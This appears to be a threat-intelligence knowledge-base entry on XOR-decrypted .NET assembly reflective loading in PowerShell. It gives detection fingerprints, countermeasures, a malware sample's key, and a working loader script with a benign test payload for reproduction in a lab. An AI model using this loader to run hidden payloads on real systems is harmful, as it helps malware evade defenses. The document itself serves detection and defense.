typetechniqueconfidencehighcreated2026-05-30updated2026-05-30code-injectiondefense-evasionscript

XOR-decrypted .NET assembly reflective loading

A defense-evasion technique in which a malware payload encrypts a .NET assembly with a simple XOR cipher, decrypts it at runtime in PowerShell, and loads it reflectively into the current process via System.Reflection.Assembly::Load without ever writing the assembly to disk.

What It Does

  1. The attacker compiles a .NET assembly (e.g. C# executable or DLL) containing the final payload.
  2. The assembly bytes are XOR-encrypted with a hardcoded key and base64-encoded.
  3. The encrypted blob is embedded inside a PowerShell script.
  4. At runtime, PowerShell decrypts the bytes using the XOR key, then calls [System.Reflection.Assembly]::Load(byte[]).
  5. The malware invokes an entry-point static method via reflection (GetType().GetMethod().Invoke()).

Detection / Fingerprint

  • PowerShell commands containing System.Reflection.Assembly and ::Load
  • GetType("...").GetMethod("...").Invoke($null, ...) patterns
  • Function names like Invoke-InMemoryAssembly or Decrypt-XORContent
  • Large base64 blobs inside PowerShell that decode to high-entropy byte arrays (encrypted assemblies)

Reproduce on your own VMs

C# payload (compile with csc.exe)

using System;
public class Runner {
    public static void Main(string[] args) {
        Console.WriteLine("Reflective load successful.");
    }
}

PowerShell reflective loader

function Decrypt-XORContent($CipherText, $EncryptionKey) {
    $cipherBytes = [Convert]::FromBase64String($CipherText)
    $keyBytes = [Text.Encoding]::UTF8.GetBytes($EncryptionKey)
    $plainBytes = New-Object byte[] $cipherBytes.Length
    for ($i = 0; $i -lt $cipherBytes.Length; $i++) {
        $plainBytes[$i] = $cipherBytes[$i] -bxor $keyBytes[$i % $keyBytes.Length]
    }
    return $plainBytes
}

$encryptedB64 = "BASE64_OF_XOR_ENCRYPTED_ASSEMBLY"
$key = "MyXORKey123"
$asmBytes = Decrypt-XORContent $encryptedB64 $key
$asm = [System.Reflection.Assembly]::Load($asmBytes)
$type = $asm.GetType("Runner")
$method = $type.GetMethod("Main", [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static)
$method.Invoke($null, @(,[string[]]@()))

Verification

Run the PowerShell script. If the assembly loads and prints the message, the technique is reproduced. Monitor with Process Monitor to confirm no .dll file is written to disk.

Defensive Countermeasures

  • Enable PowerShell Constrained Language Mode and application control (AppLocker / WDAC)
  • Monitor script-block logging for Assembly::Load and GetType(...).GetMethod(...).Invoke(...)
  • Use EDR behavioral rules that alert on in-memory .NET assembly loads from non-standard sources

Pages where observed

  • spamitaInvio proforma.js drops a PowerShell stage that XOR-decrypts a .NET assembly with key SKIDO56@@fhsdgh and loads it reflectively ^[report.md]